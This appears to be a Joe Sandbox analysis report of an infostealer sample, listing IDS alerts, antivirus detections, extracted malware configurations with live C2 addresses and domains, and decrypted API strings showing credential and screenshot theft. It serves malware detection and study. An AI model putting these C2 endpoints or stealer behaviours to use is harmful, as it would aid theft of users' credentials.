2024-11-07T06:01:30.511143+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49917	104.21.5.155	443	TCP
2024-11-07T06:01:54.395602+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50061	104.21.5.155	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:15.879231+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49828	104.21.5.155	443	TCP
2024-11-07T06:01:16.865254+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49835	104.21.5.155	443	TCP
2024-11-07T06:01:18.848602+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49844	104.21.5.155	443	TCP
2024-11-07T06:01:20.410542+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49854	104.21.5.155	443	TCP
2024-11-07T06:01:21.836714+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49866	104.21.5.155	443	TCP
2024-11-07T06:01:24.568049+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49879	104.21.5.155	443	TCP
2024-11-07T06:01:27.976024+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49901	104.21.5.155	443	TCP
2024-11-07T06:01:28.180854+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49903	104.21.5.155	443	TCP
2024-11-07T06:01:30.040037+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49917	104.21.5.155	443	TCP
2024-11-07T06:01:32.316394+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49932	104.21.5.155	443	TCP
2024-11-07T06:01:33.001000+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49939	104.21.5.155	443	TCP
2024-11-07T06:01:33.886619+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49948	104.21.5.155	443	TCP
2024-11-07T06:01:35.452646+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49961	104.21.5.155	443	TCP
2024-11-07T06:01:38.210587+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49976	104.21.5.155	443	TCP
2024-11-07T06:01:40.808230+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	49993	104.21.5.155	443	TCP
2024-11-07T06:01:43.256861+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	50010	104.21.5.155	443	TCP
2024-11-07T06:01:51.926317+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	50059	104.21.5.155	443	TCP
2024-11-07T06:01:54.026835+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	50061	104.21.5.155	443	TCP
2024-11-07T06:01:56.044212+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	50062	104.21.5.155	443	TCP
2024-11-07T06:01:57.893036+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	50065	104.21.5.155	443	TCP
2024-11-07T06:01:59.664578+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	50067	104.21.5.155	443	TCP
2024-11-07T06:02:02.416922+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	50069	104.21.5.155	443	TCP
2024-11-07T06:02:05.335224+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	50072	104.21.5.155	443	TCP
2024-11-07T06:02:07.835717+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.4	50074	104.21.5.155	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:16.107697+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49827	185.215.113.43	80	TCP
2024-11-07T06:01:21.616558+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49861	185.215.113.43	80	TCP
2024-11-07T06:01:26.159721+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49885	185.215.113.43	80	TCP
2024-11-07T06:01:32.433009+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49931	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:14.982594+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	57477	1.1.1.1	53	UDP
2024-11-07T06:01:27.452659+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	53336	1.1.1.1	53	UDP
2024-11-07T06:01:51.044713+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	60803	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:15.007938+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	65289	1.1.1.1	53	UDP
2024-11-07T06:01:27.477112+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	52304	1.1.1.1	53	UDP
2024-11-07T06:01:51.114469+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	64345	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:15.105205+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.4	58639	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:15.080617+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	59386	1.1.1.1	53	UDP
2024-11-07T06:01:27.528191+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	58636	1.1.1.1	53	UDP
2024-11-07T06:01:51.208020+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	61016	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:14.950033+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	65066	1.1.1.1	53	UDP
2024-11-07T06:01:27.411785+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	55082	1.1.1.1	53	UDP
2024-11-07T06:01:51.006486+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	58237	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:15.033130+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	59726	1.1.1.1	53	UDP
2024-11-07T06:01:27.503101+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	53551	1.1.1.1	53	UDP
2024-11-07T06:01:51.180898+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	50521	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:21.828542+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49859	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:21.822410+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49859	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:22.109773+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49859	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:23.222726+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49859	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:22.119940+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49859	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:25.385000+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49879	104.21.5.155	443	TCP
2024-11-07T06:02:03.132464+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50069	104.21.5.155	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:21.533622+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49859	185.215.113.206	80	TCP
2024-11-07T06:01:57.571595+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50064	185.215.113.206	80	TCP
2024-11-07T06:02:05.906323+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50071	185.215.113.206	80	TCP
2024-11-07T06:02:14.706493+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50077	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:04.858858+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49763	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:09.443558+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49774	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:07.930244+0100	2803305	3	Unknown Traffic	192.168.2.4	49780	104.21.21.16	80	TCP
2024-11-07T06:01:11.258104+0100	2803305	3	Unknown Traffic	192.168.2.4	49797	185.215.113.16	80	TCP
2024-11-07T06:01:17.039125+0100	2803305	3	Unknown Traffic	192.168.2.4	49834	185.215.113.16	80	TCP
2024-11-07T06:01:27.130084+0100	2803305	3	Unknown Traffic	192.168.2.4	49891	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T06:01:24.121383+0100	2803304	3	Unknown Traffic	192.168.2.4	49859	185.215.113.206	80	TCP
2024-11-07T06:01:41.000758+0100	2803304	3	Unknown Traffic	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:42.378907+0100	2803304	3	Unknown Traffic	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:43.024301+0100	2803304	3	Unknown Traffic	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:43.487981+0100	2803304	3	Unknown Traffic	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:44.493880+0100	2803304	3	Unknown Traffic	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:45.034677+0100	2803304	3	Unknown Traffic	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:49.825932+0100	2803304	3	Unknown Traffic	192.168.2.4	50046	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://founpiuer.store/apip	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/(7	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/TenantRestrictionsPlugin.dll.0	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/p5Hf	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeuW	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/6c4adf523b719729.phpp3	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/eS	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeX	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/6c4adf523b719729.php3Dm	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/6c4adf523b719729.phpOD	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/h7	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/ta87	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/746f34465cf17784/softokn3.dll$IH	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/es	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/P7	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 7.2.44e053de15.exe.62b0000.2.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 7.2.44e053de15.exe.62b0000.2.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 11.2.44e053de15.exe.cb0000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["necklacedmny.store", "presticitpo.store", "navygenerayk.store", "fadehairucw.store", "crisiwarny.store", "founpiuer.store", "scriptyprefej.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for domain / URL

Source: https://founpiuer.store/apip

Virustotal: Detection: 14%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 44%
Source: file.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: INSERT_KEY_HERE
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: 30
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: 11
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: 20
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: 24
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetProcAddress
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: LoadLibraryA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: lstrcatA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: OpenEventA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CreateEventA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CloseHandle
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Sleep
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetUserDefaultLangID
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: VirtualAllocExNuma
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: VirtualFree
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetSystemInfo
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: VirtualAlloc
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: HeapAlloc
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetComputerNameA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: lstrcpyA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetProcessHeap
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetCurrentProcess
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: lstrlenA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: ExitProcess
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GlobalMemoryStatusEx
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetSystemTime
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SystemTimeToFileTime
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: advapi32.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: gdi32.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: user32.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: crypt32.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: ntdll.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetUserNameA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CreateDCA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetDeviceCaps
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: ReleaseDC
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CryptStringToBinaryA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: sscanf
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: VMwareVMware
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: HAL9TH
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: JohnDoe
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: DISPLAY
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: %hu/%hu/%hu
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: http://185.215.113.206
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: bksvnsj
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: /6c4adf523b719729.php
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: /746f34465cf17784/
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: tale
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetEnvironmentVariableA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetFileAttributesA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GlobalLock
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: HeapFree
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetFileSize
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GlobalSize
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: IsWow64Process
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Process32Next
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetLocalTime
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: FreeLibrary
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetTimeZoneInformation
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetSystemPowerStatus
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetVolumeInformationA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetWindowsDirectoryA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: Process32First
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetLocaleInfoA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetUserDefaultLocaleName
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetModuleFileNameA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: DeleteFileA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: FindNextFileA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: LocalFree
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: FindClose
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SetEnvironmentVariableA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: LocalAlloc
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetFileSizeEx
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: ReadFile
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SetFilePointer
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: WriteFile
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CreateFileA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: FindFirstFileA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CopyFileA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: VirtualProtect
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetLastError
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: lstrcpynA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: MultiByteToWideChar
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GlobalFree
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: WideCharToMultiByte
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GlobalAlloc
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: OpenProcess
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: TerminateProcess
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetCurrentProcessId
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: gdiplus.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: ole32.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: bcrypt.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: wininet.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: shlwapi.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: shell32.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: psapi.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: rstrtmgr.dll
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CreateCompatibleBitmap
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SelectObject
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: BitBlt
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: DeleteObject
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CreateCompatibleDC
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GdipGetImageEncodersSize
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GdipGetImageEncoders
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GdiplusStartup
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GdiplusShutdown
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GdipSaveImageToStream
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GdipDisposeImage
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GdipFree
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetHGlobalFromStream
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CreateStreamOnHGlobal
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CoUninitialize
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CoInitialize
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CoCreateInstance
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: BCryptDecrypt
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: BCryptSetProperty
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: BCryptDestroyKey
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetWindowRect
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetDesktopWindow
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetDC
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CloseWindow
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: wsprintfA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: EnumDisplayDevicesA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: GetKeyboardLayoutList
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CharToOemW
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: wsprintfW
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: RegQueryValueExA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: RegEnumKeyExA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: RegOpenKeyExA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: RegCloseKey
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: RegEnumValueA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CryptBinaryToStringA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: CryptUnprotectData
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: SHGetFolderPathA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: ShellExecuteExA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: InternetOpenUrlA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: InternetConnectA
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: InternetCloseHandle
Source: 7.2.44e053de15.exe.62b0000.2.unpack	String decryptor: InternetOpenA
